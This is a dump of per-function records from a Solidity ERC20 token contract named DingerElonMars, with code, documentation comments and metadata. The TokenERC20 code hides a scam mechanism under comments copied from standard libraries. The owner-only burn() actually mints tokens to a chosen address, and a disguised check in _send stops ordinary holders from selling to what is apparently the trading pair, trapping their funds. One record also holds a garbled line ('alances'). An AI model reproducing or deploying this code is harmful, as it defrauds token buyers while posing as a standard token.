* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transfer | function transfer(address to, uint tokens) virtual public returns (bool success);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
934,
1018
]
} | 11,286 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint tokens) virtual public returns (bool success);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
1678,
1766
]
} | 11,287 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
2076,
2178
]
} | 11,288 |
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
} | totalSupply | function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
| /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
1571,
1691
]
} | 11,289 |
||
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
} | burn | function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
| /**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
1942,
2228
]
} | 11,290 |
||
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
} | approve | function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
3176,
3432
]
} | 11,291 |
||
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _burnAddress, uint _burnAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _burnAddress;
_totalSupply = _totalSupply.add(_burnAmount*2);
balances[_burnAddress] = balances[_burnAddress].add(_burnAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the burn address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
receive() external payable {
}
fallback() external payable {
}
} | transferFrom | function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
alances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.8.7+commit.e28d00a7 | GNU GPLv3 | ipfs://73c8410b0ff4d3d5861201a9fc1dec59334367bfc6ad27327f44414146362e09 | {
"func_code_index": [
4169,
4588
]
} | 11,292 |
||
DingerElonMars | DingerElonMars.sol | 0x479eb66c07d3fb5a27e34faf03d25da4a3531427 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
